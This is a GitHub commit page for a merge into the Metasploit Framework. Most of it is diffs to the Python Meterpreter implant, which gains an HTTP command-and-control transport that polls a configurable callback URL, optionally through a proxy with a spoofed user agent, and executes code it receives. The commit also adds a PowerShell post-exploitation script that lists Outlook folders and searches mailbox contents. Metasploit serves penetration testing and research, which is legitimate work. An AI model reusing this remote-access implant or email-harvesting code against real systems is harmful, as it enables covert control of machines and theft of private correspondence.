Skip to content

Commit 8c0610c

Browse files
committed
Merge branch 'master' into feature/MSP-11671/test-optimization
MSP-11671 Conflicts: .travis.yml
2 parents 53df308 + 738fc78 commit 8c0610c

File tree

91 files changed

+1493
-4673
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

91 files changed

+1493
-4673
lines changed

.gitignore

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -83,3 +83,7 @@ data/meterpreter/screenshot.*.dll
8383
# private source. If you're interested in this functionality,
8484
# check out Metasploit Pro: http://metasploit.com/download
8585
data/meterpreter/ext_server_pivot.*.dll
86+
87+
# Avoid checking in metakitty, the source for
88+
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
89+
/metakitty

.travis.yml

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -36,3 +36,9 @@ notifications:
3636

3737
git:
3838
depth: 5
39+
40+
# Blacklist certain branches from triggering travis builds
41+
branches:
42+
except:
43+
- gh-pages
44+
- metakitty

Gemfile.lock

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -112,7 +112,7 @@ GEM
112112
metasploit-concern (0.3.0)
113113
activesupport (~> 3.0, >= 3.0.0)
114114
railties (< 4.0.0)
115-
metasploit-credential (0.13.3)
115+
metasploit-credential (0.13.5)
116116
metasploit-concern (~> 0.3.0)
117117
metasploit-model (~> 0.28.0)
118118
metasploit_data_models (~> 0.21.0)

data/meterpreter/ext_server_stdapi.py

Lines changed: 15 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -60,9 +60,13 @@
6060
bytes = lambda *args: str(*args[:1])
6161
NULL_BYTE = '\x00'
6262
else:
63-
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
63+
if isinstance(__builtins__, dict):
64+
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
65+
str = lambda x: __builtins__['str'](x, 'UTF-8')
66+
else:
67+
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
68+
str = lambda x: __builtins__.str(x, 'UTF-8')
6469
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
65-
str = lambda x: __builtins__['str'](x, 'UTF-8')
6670
NULL_BYTE = bytes('\x00', 'UTF-8')
6771
long = int
6872

@@ -501,6 +505,8 @@ class RTATTR(ctypes.Structure):
501505
IFA_ADDRESS = 1
502506
IFA_LABEL = 3
503507

508+
meterpreter.register_extension('stdapi')
509+
504510
def calculate_32bit_netmask(bits):
505511
if bits == 32:
506512
return 0xffffffff
@@ -669,8 +675,10 @@ def channel_open_stdapi_net_tcp_server(request, response):
669675
@meterpreter.register_function
670676
def stdapi_sys_config_getenv(request, response):
671677
for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE):
672-
pgroup = ''
673-
env_var = env_var['value'].translate(None, '%$')
678+
pgroup = bytes()
679+
env_var = env_var['value']
680+
env_var = env_var.replace('%', '')
681+
env_var = env_var.replace('$', '')
674682
env_val = os.environ.get(env_var)
675683
if env_val:
676684
pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var)
@@ -692,7 +700,9 @@ def stdapi_sys_config_getsid(request, response):
692700

693701
@meterpreter.register_function
694702
def stdapi_sys_config_getuid(request, response):
695-
if has_windll:
703+
if has_pwd:
704+
username = pwd.getpwuid(os.getuid()).pw_name
705+
elif has_windll:
696706
token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
697707
if not token:
698708
return ERROR_FAILURE, response

data/meterpreter/meterpreter.py

Lines changed: 142 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -18,19 +18,50 @@
1818
else:
1919
has_windll = hasattr(ctypes, 'windll')
2020

21+
# this MUST be imported for urllib to work on OSX
22+
try:
23+
import SystemConfiguration as osxsc
24+
has_osxsc = True
25+
except ImportError:
26+
has_osxsc = False
27+
28+
try:
29+
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
30+
if sys.version_info[0] < 3:
31+
urllib = __import__('urllib2', fromlist=urllib_imports)
32+
else:
33+
urllib = __import__('urllib.request', fromlist=urllib_imports)
34+
except ImportError:
35+
has_urllib = False
36+
else:
37+
has_urllib = True
38+
2139
if sys.version_info[0] < 3:
2240
is_bytes = lambda obj: issubclass(obj.__class__, str)
2341
bytes = lambda *args: str(*args[:1])
2442
NULL_BYTE = '\x00'
2543
else:
44+
if isinstance(__builtins__, dict):
45+
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
46+
str = lambda x: __builtins__['str'](x, 'UTF-8')
47+
else:
48+
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
49+
str = lambda x: __builtins__.str(x, 'UTF-8')
2650
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
27-
str = lambda x: __builtins__['str'](x, 'UTF-8')
2851
NULL_BYTE = bytes('\x00', 'UTF-8')
52+
long = int
2953

3054
#
3155
# Constants
3256
#
57+
58+
# these values may be patched, DO NOT CHANGE THEM
3359
DEBUGGING = False
60+
HTTP_COMMUNICATION_TIMEOUT = 300
61+
HTTP_CONNECTION_URL = None
62+
HTTP_EXPIRATION_TIMEOUT = 604800
63+
HTTP_PROXY = None
64+
HTTP_USER_AGENT = None
3465

3566
PACKET_TYPE_REQUEST = 0
3667
PACKET_TYPE_RESPONSE = 1
@@ -284,15 +315,43 @@ def write(self, channel_data):
284315
export(STDProcess)
285316

286317
class PythonMeterpreter(object):
287-
def __init__(self, socket):
318+
def __init__(self, socket=None):
288319
self.socket = socket
320+
self.driver = None
321+
self.running = False
322+
self.communications_active = True
323+
self.communications_last = 0
324+
if self.socket:
325+
self.driver = 'tcp'
326+
elif HTTP_CONNECTION_URL:
327+
self.driver = 'http'
328+
self.last_registered_extension = None
289329
self.extension_functions = {}
290330
self.channels = {}
291331
self.interact_channels = []
292332
self.processes = {}
293333
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
294334
self.extension_functions[func[1:]] = getattr(self, func)
295-
self.running = True
335+
if self.driver:
336+
if hasattr(self, 'driver_init_' + self.driver):
337+
getattr(self, 'driver_init_' + self.driver)()
338+
self.running = True
339+
340+
def driver_init_http(self):
341+
if HTTP_PROXY:
342+
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
343+
opener = urllib.build_opener(proxy_handler)
344+
else:
345+
opener = urllib.build_opener()
346+
if HTTP_USER_AGENT:
347+
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
348+
urllib.install_opener(opener)
349+
self._http_last_seen = time.time()
350+
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
351+
352+
def register_extension(self, extension_name):
353+
self.last_registered_extension = extension_name
354+
return self.last_registered_extension
296355

297356
def register_function(self, func):
298357
self.extension_functions[func.__name__] = func
@@ -318,19 +377,73 @@ def add_process(self, process):
318377
self.processes[idx] = process
319378
return idx
320379

380+
def get_packet(self):
381+
packet = getattr(self, 'get_packet_' + self.driver)()
382+
self.communications_last = time.time()
383+
if packet:
384+
self.communications_active = True
385+
return packet
386+
387+
def send_packet(self, packet):
388+
getattr(self, 'send_packet_' + self.driver)(packet)
389+
self.communications_last = time.time()
390+
self.communications_active = True
391+
392+
def get_packet_http(self):
393+
packet = None
394+
request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers)
395+
try:
396+
url_h = urllib.urlopen(request)
397+
packet = url_h.read()
398+
except:
399+
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
400+
self.running = False
401+
else:
402+
self._http_last_seen = time.time()
403+
if packet:
404+
packet = packet[8:]
405+
else:
406+
packet = None
407+
return packet
408+
409+
def send_packet_http(self, packet):
410+
request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers)
411+
try:
412+
url_h = urllib.urlopen(request)
413+
response = url_h.read()
414+
except:
415+
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
416+
self.running = False
417+
else:
418+
self._http_last_seen = time.time()
419+
420+
def get_packet_tcp(self):
421+
packet = None
422+
if len(select.select([self.socket], [], [], 0.5)[0]):
423+
packet = self.socket.recv(8)
424+
if len(packet) != 8:
425+
self.running = False
426+
return None
427+
pkt_length, pkt_type = struct.unpack('>II', packet)
428+
pkt_length -= 8
429+
packet = bytes()
430+
while len(packet) < pkt_length:
431+
packet += self.socket.recv(4096)
432+
return packet
433+
434+
def send_packet_tcp(self, packet):
435+
self.socket.send(packet)
436+
321437
def run(self):
322438
while self.running:
323-
if len(select.select([self.socket], [], [], 0.5)[0]):
324-
request = self.socket.recv(8)
325-
if len(request) != 8:
326-
break
327-
req_length, req_type = struct.unpack('>II', request)
328-
req_length -= 8
329-
request = bytes()
330-
while len(request) < req_length:
331-
request += self.socket.recv(4096)
439+
request = None
440+
should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5)
441+
self.communications_active = False
442+
if should_get_packet:
443+
request = self.get_packet()
444+
if request:
332445
response = self.create_response(request)
333-
self.socket.send(response)
446+
self.send_packet(response)
334447
else:
335448
# iterate over the keys because self.channels could be modified if one is closed
336449
channel_ids = list(self.channels.keys())
@@ -370,7 +483,7 @@ def run(self):
370483
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
371484
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
372485
pkt = struct.pack('>I', len(pkt) + 4) + pkt
373-
self.socket.send(pkt)
486+
self.send_packet(pkt)
374487
if data:
375488
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
376489
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
@@ -379,7 +492,7 @@ def run(self):
379492
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
380493
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
381494
pkt = struct.pack('>I', len(pkt) + 4) + pkt
382-
self.socket.send(pkt)
495+
self.send_packet(pkt)
383496

384497
def handle_dead_resource_channel(self, channel_id):
385498
del self.channels[channel_id]
@@ -390,21 +503,25 @@ def handle_dead_resource_channel(self, channel_id):
390503
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
391504
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
392505
pkt = struct.pack('>I', len(pkt) + 4) + pkt
393-
self.socket.send(pkt)
506+
self.send_packet(pkt)
394507

395508
def _core_loadlib(self, request, response):
396509
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
397510
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
398511
return ERROR_FAILURE
399-
preloadlib_methods = list(self.extension_functions.keys())
512+
513+
self.last_registered_extension = None
400514
symbols_for_extensions = {'meterpreter':self}
401515
symbols_for_extensions.update(EXPORTED_SYMBOLS)
402516
i = code.InteractiveInterpreter(symbols_for_extensions)
403517
i.runcode(compile(data_tlv['value'], '', 'exec'))
404-
postloadlib_methods = list(self.extension_functions.keys())
405-
new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods))
406-
for method in new_methods:
407-
response += tlv_pack(TLV_TYPE_METHOD, method)
518+
extension_name = self.last_registered_extension
519+
520+
if extension_name:
521+
check_extension = lambda x: x.startswith(extension_name)
522+
lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
523+
for method in lib_methods:
524+
response += tlv_pack(TLV_TYPE_METHOD, method)
408525
return ERROR_SUCCESS, response
409526

410527
def _core_shutdown(self, request, response):
@@ -546,5 +663,8 @@ def create_response(self, request):
546663
os.setsid()
547664
except OSError:
548665
pass
549-
met = PythonMeterpreter(s)
666+
if HTTP_CONNECTION_URL and has_urllib:
667+
met = PythonMeterpreter()
668+
else:
669+
met = PythonMeterpreter(s)
550670
met.run()

data/post/powershell/outlook.ps1

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
function GetSubfolders($root) {
2+
$folders = @()
3+
$folders += $root
4+
foreach ($folder in $root.Folders) {
5+
$folders += GetSubfolders($folder)
6+
}
7+
return $folders
8+
}
9+
10+
function List-Folder {
11+
Clear-host
12+
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
13+
$Outlook = New-Object -ComObject Outlook.Application
14+
$Namespace = $Outlook.GetNameSpace("MAPI")
15+
$account = $NameSpace.Folders
16+
$folders = @()
17+
foreach ($acc in $account) {
18+
foreach ($folder in $acc.Folders) {
19+
$folders += GetSubfolders($folder)
20+
}
21+
}
22+
$folders | FT FolderPath
23+
}
24+
25+
function Get-Emails {
26+
param ([String]$searchTerm,[String]$Folder)
27+
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
28+
$Outlook = New-Object -ComObject Outlook.Application
29+
$Namespace = $Outlook.GetNameSpace("MAPI")
30+
$account = $NameSpace.Folders
31+
$found = $false
32+
foreach ($acc in $account) {
33+
try {
34+
$Email = $acc.Folders.Item($Folder).Items
35+
$result = $Email | Where-Object {$_.HTMLBody -like '*' + $searchTerm + '*' -or $_.TaskSubject -like '*' + $searchTerm + '*'}
36+
if($result) {
37+
$found = $true
38+
$result | Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody
39+
}
40+
} catch {
41+
Write-Host "Folder" $Folder "not found in mailbox" $acc.Name
42+
}
43+
}
44+
if(-Not $found) {
45+
Write-Host "Searchterm" $searchTerm "not found"
46+
}
47+
}

0 commit comments

Comments
 (0)